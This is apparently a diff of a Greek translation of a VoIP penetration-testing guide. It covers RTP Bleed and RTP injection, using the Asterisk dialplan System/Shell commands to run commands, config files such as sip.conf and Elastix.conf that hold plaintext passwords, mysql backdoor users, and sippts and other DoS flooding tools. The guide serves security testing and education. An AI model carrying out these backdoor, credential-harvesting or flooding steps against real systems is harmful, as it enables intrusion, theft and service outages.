Ένα άλλο ενδιαφέρον συμπεριφοράς των διαμεσολαβητών RTP και των στοιβών RTP είναι ότι μερικές φορές, **ακόμα κι αν δεν είναι ευάθεια στο RTP Bleed**, θα **αποδεχτούν, θα προωθήσουν και/ή θα επεξεργαστούν πακέτα RTP από οποιαδήποτε πηγή**. Συνεπώς, οι επιτιθέμενοι μπορούν να στείλουν πακέτα RTP τα οποία μπορεί να τους επιτρέψουν να εισάγουν τα μέσα τους αντί των νόμιμων. Αυτή η επίθεση ονομάζεται εισαγωγή RTP επειδή επιτρέπει την εισαγωγή παράνομων πακέτων RTP σε υπάρχουσες ροές RTP. Αυτή η ευπάθεια μπορεί να βρεθεί τόσο σε διαμεσολαβητές RTP όσο και σε σημεία άκρης.
|
||||
|
||||
Το Asterisk και το FreePBX έχουν χρησιμοποιήσει παραδοσιακά τη ρύθμιση **`NAT=yes`**, η οποία ενεργοποιεί την παράκαμψη της ταυτοποίησης της κυκλοφορίας RTP, με πιθανό αποτέλεσμα να μην υπάρχει ή να υπάρχει μονόδρομη κυκλοφορία ήχου στις κλήσεις.
|
||||
Το Asterisk και το FreePBX έχουν χρησιμοποιήσει παραδοσιακά τη ρύθμιση **`NAT=yes`**, η οποία επιτρέπει στην κυκλοφορία RTP να παρακάμψει την ταυτοποίηση, με πιθανό αποτέλεσμα να μην υπάρχει ή να υπάρχει μονόδρομη κυκλοφορία ήχου σε κλήσεις.
|
||||
|
||||
Για περισσότερες πληροφορίες ελέγξτε το [https://www.rtpbleed.com/](https://www.rtpbleed.com/)
|
||||
|
||||
* **`SIPPTS rtpbleed`** από [**sippts**](https://github.com/Pepelux/sippts)**:** Το SIPPTS rtpbleed ανιχνεύει την ευπαθότητα RTP Bleed αποστέλλοντας ροές RTP.
|
||||
* **`SIPPTS rtpbleed`** από [**sippts**](https://github.com/Pepelux/sippts)**:** Το SIPPTS rtpbleed ανιχνεύει την ευπάθεια RTP Bleed αποστέλλοντας ροές RTP.
|
||||
```bash
|
||||
sippts rtpbleed -i 10.10.0.10
|
||||
```
|
||||
|
@ -579,16 +579,16 @@ sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav
|
|||
```scss
|
||||
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
|
||||
```
|
||||
Υπάρχει η εντολή με το όνομα **`Shell`** που μπορεί να χρησιμοποιηθεί **αντί για την `System`** για την εκτέλεση εντολών συστήματος αν χρειαστεί.
|
||||
Υπάρχει ένας εντολή που ονομάζεται **`Shell`** που μπορεί να χρησιμοποιηθεί **αντί της `System`** για την εκτέλεση εντολών συστήματος αν χρειαστεί.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Αν ο διακομιστής απαγορεύει τη χρήση ορισμένων χαρακτήρων στην εντολή **`System`** (όπως στο Elastix), ελέγξτε αν ο web server επιτρέπει τη **δημιουργία αρχείων κάπως μέσα στο σύστημα** (όπως στο Elastix ή trixbox) και χρησιμοποιήστε το για **δημιουργία ενός backdoor script** και στη συνέχεια χρησιμοποιήστε την **`System`** για να **εκτελέσετε** αυτό το **script**.
|
||||
Αν ο διακομιστής απαγορεύει τη χρήση ορισμένων χαρακτήρων στην εντολή **`System`** (όπως στο Elastix), ελέγξτε αν ο web διακομιστής επιτρέπει τη **δημιουργία αρχείων κάπως μέσα στο σύστημα** (όπως στο Elastix ή trixbox) και χρησιμοποιήστε το για να **δημιουργήσετε ένα backdoor script** και στη συνέχεια χρησιμοποιήστε το **`System`** για να **εκτελέσετε** αυτό το **script**.
|
||||
{% endhint %}
|
||||
|
||||
#### Ενδιαφέροντα τοπικά αρχεία και δικαιώματα
|
||||
|
||||
* **`sip.conf`** -> Περιέχει τον κωδικό πρόσβασης των χρηστών SIP.
|
||||
* Αν ο **διακομιστής Asterisk τρέχει ως ροοτ**, μπορείτε να διακινδυνεύσετε τον root
|
||||
* Αν ο **διακομιστής Asterisk τρέχει ως ροοτ**, μπορείτε να διακινδυνεύσετε τον ροοτ
|
||||
* Ο **mysql root χρήστης** μπορεί να **μην έχει κωδικό πρόσβασης**.
|
||||
* Αυτό μπορεί να χρησιμοποιηθεί για τη δημιουργία ενός νέου χρήστη mysql ως backdoor
|
||||
* **`FreePBX`**
|
||||
|
@ -596,8 +596,8 @@ same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
|
|||
* **`FreePBX.conf`** -> Περιέχει τον κωδικό πρόσβασης του χρήστη FreePBXuser που χρησιμοποιείται για πρόσβαση στη βάση δεδομένων
|
||||
* Αυτό μπορεί να χρησιμοποιηθεί για τη δημιουργία ενός νέου χρήστη mysql ως backdoor
|
||||
* **`Elastix`**
|
||||
* **`Elastix.conf`** -> Περιέχει αρκετούς κωδικούς σε καθαρό κείμενο όπως ο κωδικός ρίζας του mysql, ο κωδικός IMAPd, ο κωδικός διαχειριστή του web
|
||||
* **Πολλοί φάκελοι** θα ανήκουν στον χρήστη asterisk που έχει διακινδυνευμένο (αν δεν τρέχει ως ροοτ). Αυτός ο χρήστης μπορεί να διαβάσει τα προηγούμενα αρχεία και επίσης ελέγχει τη διαμόρφωση, οπότε μπορεί να κάνει τον Asterisk να φορτώσει άλλα backdoored δυαδικά όταν εκτελείται.
|
||||
* **`Elastix.conf`** -> Περιέχει αρκετούς κωδικούς σε καθαρό κείμενο όπως ο κωδικός ρίζας του mysql, ο κωδικός IMAPd, ο κωδικός διαχειριστή web
|
||||
* **Πολλοί φάκελοι** θα ανήκουν στον χρήστη asterisk που έχει διακινδυνευμένο (αν δεν τρέχει ως ροοτ). Αυτός ο χρήστης μπορεί να διαβάσει τα προηγούμενα αρχεία και επίσης ελέγχει τη διαμόρφωση, οπότε μπορεί να κάνει το Asterisk να φορτώσει άλλα backdoored δυαδικά όταν εκτελείται.
|
||||
|
||||
### RTP Εισαγωγή
|
||||
|
||||
|
@ -607,7 +607,7 @@ same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
|
|||
|
||||
### DoS
|
||||
|
||||
Υπάρχουν αρκετοί τρόποι για να προσπαθήσετε να προκαλέσετε DoS σε διακομιστές VoIP.
|
||||
Υπάρχουν διάφοροι τρόποι για να προσπαθήσετε να προκαλέσετε DoS σε διακομιστές VoIP.
|
||||
|
||||
* **`SIPPTS flood`** από [**sippts**](https://github.com/Pepelux/sippts)**: Το SIPPTS flood στέλνει απεριόριστα μηνύματα στον στόχο.
|
||||
* `sippts flood -i 10.10.0.10 -m invite -v`
|
||||
|
@ -615,14 +615,14 @@ same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
|
|||
* `sippts ping -i 10.10.0.10`
|
||||
* [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS πρωτόκολλο IAX που χρησιμοποιείται από το Asterisk
|
||||
* [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): Ένα εργαλείο για την πραγματοποίηση πλημμύρας μηνυμάτων SIP/SDP INVITE μέσω UDP/IP.
|
||||
* [**rtpflood**](https://www.kali.org/tools/rtpflood/): Αποστολή αρκετών καλά δομημένων πακέτων RTP. Χρειάζεται να γνωρίζετε τις θύρες RTP που χρησιμοποιούνται (κάντε πρώτα sniff).
|
||||
* [**SIPp**](https://github.com/SIPp/sipp): Επιτρέπει την ανάλυση και τη δημιουργία κίνησης SIP. Έτσι μπορεί να χρησιμοποιηθεί και για DoS.
|
||||
* [**rtpflood**](https://www.kali.org/tools/rtpflood/): Αποστολή αρκετών καλά διαμορφωμένων πακέτων RTP. Απαιτείται να γνωρίζετε τις θύρες RTP που χρησιμοποιούνται (κάντε πρώτα sniff).
|
||||
* [**SIPp**](https://github.com/SIPp/sipp): Επιτρέπει την ανάλυση και τη δημιουργία κυκλοφορίας SIP. Έτσι μπορεί να χρησιμοποιηθεί και για DoS.
|
||||
* [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): Εργαλείο πολυεργαλείο SIP. Μπορεί επίσης να χρησιμοποιηθεί για επιθέσεις SIP.
|
||||
* Fuzzers: [**protos-sip**](https://www.kali.org/tools/protos-sip/), [**voiper**](https://github.com/gremwell/voiper).
|
||||
|
||||
### Ευπάθειες λειτουργικού συστήματος
|
||||
|
||||
Ο πιο εύκολος τρόπος να εγκαταστήσετε ένα λογισμικό όπως το Asterisk είναι να κατεβάσετε μια **διανομή λειτουργικού συστήματος** που το έχει ήδη εγκατεστημένο, όπως: **FreePBX, Elastix, Trixbox**... Το πρόβλημα με αυτά είναι ότι μόλις αρχίσουν να λειτουργούν οι συστημικοί διαχειριστές μπορεί να **μην τα ενημερώσουν ξανά** και οι **ευπάθειες** θα ανακαλυφθούν με τον χρόνο.
|
||||
Ο πιο εύκολος τρόπος να εγκαταστήσετε ένα λογισμικό όπως το Asterisk είναι να κατεβάσετε μια **διανομή λειτουργικού συστήματος** που το έχει ήδη εγκατεστημένο, όπως: **FreePBX, Elastix, Trixbox**... Το πρόβλημα με αυτά είναι ότι μόλις αρχίσουν να λειτουργούν οι συστημικοί διαχειριστές μπορεί **να μην τα ενημερώσουν ξανά** και **ευπάθειες** θα ανακαλυφθούν με τον χρόνο.
|
||||
|
||||
## Αναφορές
|
||||
|
||||
|
|
Loading…
Reference in a new issue